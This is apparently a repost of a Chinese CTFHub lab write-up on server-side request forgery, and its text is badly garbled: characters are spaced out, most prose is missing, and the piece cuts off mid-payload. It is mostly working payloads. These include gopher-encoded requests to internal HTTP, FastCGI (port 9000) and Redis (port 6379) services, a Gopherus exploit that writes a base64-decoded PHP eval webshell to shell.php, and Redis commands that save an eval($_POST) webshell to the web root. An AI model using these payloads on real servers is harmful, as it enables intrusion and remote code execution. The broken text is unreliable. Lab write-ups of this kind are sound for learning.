[16336] 2021-01-18_我在CTFHub学习SSRF

文档创建者:s7ckTeam
浏览次数:1
最后更新:2025-01-18
2021-01-18_我在CTFHub学习SSRF C T F H u b S S R F W H O A M I   F r e e B u f   2 0 2 1 - 0 1 - 1 8 S S R F C T F H u b S S R F S S R F S S R F S S R F B y p a s s   S S R F S S R F   ( S e r v e r - S i d e   R e q u e s t   F o r g e r y )   S S R F 访 访 W e b A   p a y l o a d 访 A A p a y l o a d A B 访 A S S R F U R L S S R F W E B       1 .   b a n n e r 2 .   3 .   W e b 访 ( r e a d m e ) 4 .   W e b 使 H T T P   G E T ( s t r u s t 2 , S Q l i ) 5 .   f i l e 6 .   P a y l o a d 7 .   D O S K e e p - A l i v e   A l w a y s 8 .   9 .   R e d i s 访 H T T P   C R L F g e t s h e l l S S R F S S R F H t t p D i c t f i l e 访 访
访 1 2 7 . 0 . 0 . 1 f l a g . p h p u r l s s r f 访 f l a g . p h p 访 f l a g . p h p W e b f l a g . p h p 访 f l a g . p h p f l a g S S R F f i l e : / / / s s r f p h p p a y l o a d f l a g C T F H u b 线 8 0 0 0 - 9 0 0 0 s s r f S S R F d i c t h t t p b u r p s u i t e I n t r u d e r / ? u r l = h t t p : / / 1 2 7 . 0 . 0 . 1 / f l a g . p h p / ? u r l = f i l e : / / / v a r / w w w / h t m l / f l a g . p h p
线
8 5 9 2 A p a c h e w e b s s r f h t t p 访 8 5 9 2 f l a g G o p h e r G o p h e r   H T T P     I n t e r n e t   g o p h e r G o p h e r S S R F   R e d i s M y s q l F a s t C G I F t p   G E T P O S T     S S R F   P O S T H T T P   P O S T s s r f p h p c u r l 3 0 2 3 0 2 . p h p i n d e x . p h p f l a g . p h p 3 0 2 . p h p 3 0 2 . p h p 3 0 2 i n d e x . p h p f l a g . p h p i n d e x . p h p f l a g . p h p 访 f l a g . p h p 访 S S R F X X F s s r f   p a y l o a d 访 f l a g . p h p / ? u r l = f i l e : / / / v a r / w w w / h t m l / i n d e x . p h p / ? u r l = f i l e : / / / v a r / w w w / h t m l / f l a g . p h p < ? p h p e r r o r _ r e p o r t i n g ( 0 ) ; i f   ( ! i s s e t ( $ _ R E Q U E S T [ ' u r l ' ] ) ) { h e a d e r ( " L o c a t i o n :   / ? u r l = _ " ) ; e x i t ; } $ c h   =   c u r l _ i n i t ( ) ; c u r l _ s e t o p t ( $ c h ,   C U R L O P T _ U R L ,   $ _ R E Q U E S T [ ' u r l ' ] ) ; c u r l _ s e t o p t ( $ c h ,   C U R L O P T _ H E A D E R ,   < ? p h p e r r o r _ r e p o r t i n g ( 0 ) ; i f   ( $ _ S E R V E R [ " R E M O T E _ A D D R " ]   ! =   " 1 2 7 . 0 . 0 . 1 " )   { e c h o   " J u s t   V i e w   F r o m   1 2 7 . 0 . 0 . 1 " ; r e t u r n ; } $ f l a g = g e t e n v ( " C T F H U B " ) ; $ k e y   =   m d 5 ( $ f l a g ) ; i f   ( i s s e t ( $ _ P O S T [ " k e y " ] )   & &   $ _ P O S T [
k e y k e y f l a g p o s t k e y g o p h e r p o s t P O S T P O S T H o s t C o n t e n t - T y p e C o n t e n t - L e n g t h G E T C o n t e n t - L e n g t h k e y = c 3 8 4 d 2 0 0 6 5 8 f 2 5 8 e 5 b 5 c 6 8 1 b f 0 a a 2 9 a 8 p y t h o n g o p h e r p a y l o a d p a y l o a d f l a g f l a g f l a g . p h p 3 0 2 . p h p 3 0 2 . p h p f l a g . p h p h t t p : / / 1 2 7 . 0 . 0 . 1 / f l a g . p h p i m p o r t   u r l l i b . p a r s e p a y l o a d   = " " " P O S T   / f l a g . p h p   H T T P / 1 . 1 H o s t :   1 2 7 . 0 . 0 . 1 C o n t e n t - T y p e :   a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d C o n t e n t - L e n g t h :   3 6 k e y = c 3 8 4 d 2 0 0 6 5 8 f 2 5 8 e 5 b 5 c 6 8 1 b f 0 a a 2 9 a 8 " " " g o p h e r % 3 A / / 1 2 7 . 0 . 0 . 1 % 3 A 8 0 / _ P O S T % 2 5 2 0 / f l a g . p h p % 2 5 2 0 H T T P / 1 . 1 % 2 5 0 D % 2 5 0 A H o s t % 2 5 3 A % 2 5 2 0 1 2 7 . 0 . 0 . 1 % 2 5 0 D % 2 5 0 A C o n t e n t - T y p e % 2 5 3 A % 2 5 2 0 a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d % 2 5 0 D % 2 5 0 A C o n t e n t - L e n g t h i n d e x . p h p / ? u r l = g o p h e r % 3 A / / 1 2 7 . 0 . 0 . 1 % 3 A 8 0 / _ P O S T % 2 5 2 0 / f l a g . p h p % 2 5 2 0 H T T P / 1 . 1 % 2 5 0 D % 2 5 0 A H o s t % 2 5 3 A % 2 5 2 0 1 2 7 . 0 . 0 . 1 % 2 5 0 D % 2 5 0 A C o n t e n t - T y p e % 2 5 3 A % 2 5 2 0 a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d % 2 5 0
访 访 p a y l o a d s s r f 访 f l a g . p h p W e b s h e l l P O S T P O S T k e y P O S T i n d e x . p h p f l a g . p h p i n d e x . p h p f l a g . p h p f l a g . p h p 0 f l a g g o p h e r g o p h e r p a y l o a d f l a g . p h p F 1 2 s u b m i t f l a g 访 / ? u r l = h t t p : / / 1 2 7 . 0 . 0 . 1 / f l a g . p h p / ? u r l = f i l e : / / / v a r / w w w / h t m l / i n d e x . p h p / ? u r l = f i l e : / / / v a r / w w w / h t m l / f l a g . p h p < ? p h p e r r o r _ r e p o r t i n g ( 0 ) ; i f   ( ! i s s e t ( $ _ R E Q U E S T [ ' u r l ' ] ) )   { h e a d e r ( " L o c a t i o n :   / ? u r l = _ " ) ; e x i t ; } $ c h   =   c u r l _ i n i t ( ) ; c u r l _ s e t o p t ( $ c h ,   C U R L O P T _ U R L ,   $ _ R E Q U E S T [ ' u r l ' ] ) ; c u r l _ s e t o p t ( $ c h ,   C U R L O P T _ H E A D E R ,   < ? p h p e r r o r _ r e p o r t i n g ( 0 ) ; i f ( $ _ S E R V E R [ " R E M O T E _ A D D R " ]   ! =   " 1 2 7 . 0 . 0 . 1 " ) { e c h o   " J u s t   V i e w   F r o m   1 2 7 . 0 . 0 . 1 " ; r e t u r n ; } i f ( i s s e t ( $ _ F I L E S [ " f i l e " ] )   & &   $ _ F I L E S [ " f i l e " ] [ " s i z e " ]   >   0 ) { e c h o   g e t e n v (
便 H o s t 1 2 7 . 0 . 0 . 1 p y t h o n p y t h o n g o p h e r p a y l o a d g o p h e r p a y l o a d f l a g F a s t C G I f a s t c g i F a s t C G I S S R F F a s t C G I F a s t C G I i m p o r t   u r l l i b . p a r s e p a y l o a d   = " " " P O S T   / f l a g . p h p   H T T P / 1 . 1 H o s t :   1 2 7 . 0 . 0 . 1 C o n t e n t - L e n g t h :   3 2 8 C a c h e - C o n t r o l :   m a x - a g e = 0 U p g r a d e - I n s e c u r e - R e q u e s t s :   1 O r i g i n :   h t t p : / / c h a l l e n g e - 0 3 5 1 2 6 1 4 d 3 f a 8 3 3 0 . s a n d b o x . c t f h u b . c o m : 1 0 0 8 0 C o n t e n t - T y p e :   m u l t i p a r t / f o r m - d a t a ;   b o u n d a r y = - - - - W e b K i t F o r m B o u n d a r y r a D V c M 1 y 9 j u G c B J u U s e r - A g e n t :   M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W i n 6 4 ;   x 6 4 )   A p p l e W e b K i t / 5 3 7 . 3 6   ( K H T M L ,   l i k e   G e c k o )   C h r o m e / 8 6 . 0 . 4 2 4 0 . 1 9 8   S a f a r i / 5 3 7 . 3 6 A c c e p t :   t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , i m a g e / a v i f , i m a g e / w e b p , i m a g e / a p n g , * / * ; q = 0 . 8 , a p p l i c a t i o n / s i g n e d - e x c h a n g e ; v = b 3 ; q = 0 . 9 R e f e r e r :   h t t p : / / c h a l l e n g e - 0 3 5 1 2 6 1 4 d 3 f a 8 3 3 0 . s a n d b o x . c t f h u b . c o m : 1 0 0 8 0 / ? u r l = h t t p : / / 1 2 7 . 0 . 0 . 1 / f l a g . p h p A c c e p t - L a n g u a g e :   z h - C N , z h ; q = 0 . 9 C o n n e c t i o n :   c l o s e - - - - - - W e b K i t F o r m B o u n d a r y r a D V c M 1 y 9 j u G c B J u C o n t e n t - D i s p o s i t i o n :   f o r m - d a t a ;   n a m e = " g o p h e r % 3 A / / 1 2 7 . 0 . 0 . 1 % 3 A 8 0 / _ P O S T % 2 5 2 0 / f l a g . p h p % 2 5 2 0 H T T P / 1 . 1 % 2 5 0 D % 2 5 0 A H o s t % 2 5 3 A % 2 5 2 0 1 2 7 . 0 . 0 . 1 % 2 5 0 D % 2 5 0 A C o n t e n t - L e n g t h % 2 5 3 A % 2 5 2 0 3 2 8 % 2 5 0 D % 2 5 0 A C a c h e - C o n t r o l % 2 5 3 A % 2 5 2 0 m a x - a g e % 2 5 3 D 0 i n d e x . p h p ? u r l = g o p h e r % 3 A / / 1 2 7 . 0 . 0 . 1 % 3 A 8 0 / _ P O S T % 2 5 2 0 / f l a g . p h p % 2 5 2 0 H T T P / 1 . 1 % 2 5 0 D % 2 5 0 A H o s t % 2 5 3 A % 2 5 2 0 1 2 7 . 0 . 0 . 1 % 2 5 0 D % 2 5 0 A C o n t e n t - L e n g t h % 2 5 3 A % 2 5 2 0 3 2 8 % 2 5 0 D % 2 5 0 A C a c h e - C o n t r o l % 2 5 3 A % 2 5 2 0
W i k i p e d i a F a s t C G I F a s t * * C o m m o n   G a t e w a y   I n t e r f a c e F a s t C G I W e b * * F a s t C G I C G I F a s t C G I C G I 使 p h p - f p m p h p - f p m F P M F a s t C G I     P H P   F a s t C G I   p h p - f p m F a s t C G I 9 0 0 0 p h p - f p m F a s t C G I C G I     F a s t C G I   F a s t C G I p h p - f p m 使 p h p - f p m p h p 5 . 3 . 9 p h p p h p - f p m p h p p h p 4 p h p P H P _ A D M I N _ V A L U E P H P _ V A L U E p h p p h p p h p P O S T F a s t C G I b o d y p h p - f p m h t t p s : / / b b s . i c h u n q i u . c o m / t h r e a d - 5 8 4 5 5 - 1 - 1 . h t m l 使   G o p h e r u s F a s t C G I p a y l o a d l i b c u r l > = 7 . 4 5 . 0 P H P - F P M P H P - F P M   > =   5 . 3 . 3 p h p w e b W e b s h e l l p a y l o a d p a y l o a d ? u r l = G E T c u r l w e b s h e l l S C R I P T _ F I L E N A M E ' :   ' / v a r / w w w / h t m l / i n d e x . p h p a u t o _ p r e p e n d _ f i l e   =   p h p : / / i n p u t ; a l l o w _ u r l _ i n c l u d e   =   O n a u t o _ p r e p e n d _ f i l e p h p : / / i n p u t p y t h o n   g o p h e r u s . p y   - - e x p l o i t   f a s t c g i / v a r / w w w / h t m l / i n d e x . p h p                                   #   p h p e c h o   P D 9 w a H A g Z X Z h b C g k X 1 B P U 1 R b d 2 h v Y W 1 p X S k 7 P z 4   |   b a s e 6 4   - d   >   / v a r / w w w / h t m l / s h e l l . p h p g o p h e r : / / 1 2 7 . 0 . 0 . 1 : 9 0 0 0 / _ % 0 1 % 0 1 % 0 0 % 0 1 % 0 0 % 0 8 % 0 0 % 0 0 % 0 0 % 0 1 % 0 0 % 0 0 % 0 0 % 0 0 % 0 0 % 0 0 % 0 1 % 0 4 % 0 0 % 0 1 % 0 1 % 0 5 % 0 5 % 0 0 % 0 F % 1 0 S E R V E R _ S O F T W A R E g o % 2 0 / % 2 0 f c g i c l i e n t % 2 0 % 0 B % 0 9 R E M O T E _ A D D R 1 2 7 . 0 . 0 . 1 % 0 F % 0 8 S E R V E R _ P R O T O C O L H T T P / 1 . 1 ? u r l = g o p h e r % 3 A / / 1 2 7 . 0 . 0 . 1 % 3 A 9 0 0 0 / _ % 2 5 0 1 % 2 5 0 1 % 2 5 0 0 % 2 5 0 1 % 2 5 0 0 % 2 5 0 8 % 2 5 0 0 % 2 5 0 0 % 2 5 0 0 % 2 5 0 1 % 2 5 0 0 % 2 5 0 0 % 2 5 0 0 % 2 5 0 0 % 2 5 0 0 % 2 5 0 0 % 2 5 0 1 % 2 5 0 4 % 2 5 0 0 % 2 5 0 1 % 2 5 0 1 % 2 5 0 5 % 2 5 0 5 % 2 5 0 0 % 2 5 0 F % 2 5 1 0 S E R V E R _ S O F T W A R E g o % 2 5 2 0 / % 2 5 2 0 f c g i c l i e n t % 2 5 2 0 % 2 5 0 B % 2 5 0 9 R E M O T E _ A D D R 1 2 7 .
f l a g R e d i s R e d i s 访 W e b s h e l l S S H s h e l l R e d i s k e y - v a l u e R e d i s R e m o t e   D i c t i o n a r y   S e r v e r   ) 使 A N S I   C K e y - V a l u e A P I R e d i s     0 . 0 . 0 . 0 : 6 3 7 9   i p   访   R e d i s   访 访   R e d i s     R e d i s   访   R e d i s     R e d i s   c o n f i g   s s h   / r o o t / . s s h     a u t h o t r i z e d _ k e y s   使 使 s s h W e b s h e l l s h e l l r e d i s r e d i s : / / 1 2 7 . 0 . 0 . 1 : 6 3 7 9 R e d i s S S R F R e d i s 访
6 3 7 9 R e d i s R e d i s 6 3 7 9 访 R e d i s w e b s h e l l s h e l l s s h w e b s h e l l r e d i s E x p g o p h e r p a y l o a d p a y l o a d p a y l a o d G E T W e b s h e l l f l a g f l u s h a l l s e t   1   ' < ? p h p   e v a l ( $ _ P O S T [ " w h o a m i " ] ) ; ? > ' c o n f i g   s e t   d i r   / v a r / w w w / h t m l c o n f i g   s e t   d b f i l e n a m e   s h e l l . p h p s a v e i m p o r t   u r l l i b p r o t o c o l = " g o p h e r : / / " i p = " 1 2 7 . 0 . 0 . 1 " p o r t = " 6 3 7 9 " s h e l l = " n n < ? p h p   e v a l ( $ _ P O S T [ " w h o a m i " ] ) ; ? > n n " f i l e n a m e = " s h e l l . p h p " p a t h = " / v a r / w w w / h t m l " p a s s w d = " " c m d = [ " f l u s h a l l " , " s e t   1   { } " g o p h e r % 3 A / / 1 2 7 . 0 . 0 . 1 % 3 A 6 3 7 9 / _ % 2 5 2 A 1 % 2 5 0 D % 2 5 0 A % 2 5 2 4 8 % 2 5 0 D % 2 5 0 A f l u s h a l l % 2 5 0 D % 2 5 0 A % 2 5 2 A 3 % 2 5 0 D % 2 5 0 A % 2 5 2 4 3 % 2 5 0 D % 2 5 0 A s e t % 2 5 0 D % 2 5 0 A % 2 5 2 4 1 % 2 5 0 D % 2 5 0 A 1 % 2 5 0 D % 2 5 0 A % 2 5 2 4 3 5 % 2 5 0 D % 2 5 0 A % 2 5 0 A % 2 5 0 i n d e x . p h p ? u r l = g o p h e r % 3 A / / 1 2 7 . 0 . 0 . 1 % 3 A 6 3 7 9 / _ % 2 5 2 A 1 % 2 5 0 D % 2 5 0 A % 2 5 2 4 8 % 2 5 0 D % 2 5 0 A f l u s h a l l % 2 5 0 D % 2 5 0 A % 2 5 2 A 3 % 2 5 0 D % 2 5 0 A % 2 5 2 4 3 % 2 5 0 D % 2 5 0 A s e t % 2 5 0 D % 2 5 0 A % 2 5 2 4 1 % 2 5 0 D % 2 5 0 A 1 % 2 5 0 D % 2 5 0 A % 2 5 2 4 3 5 % 2 5 0
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则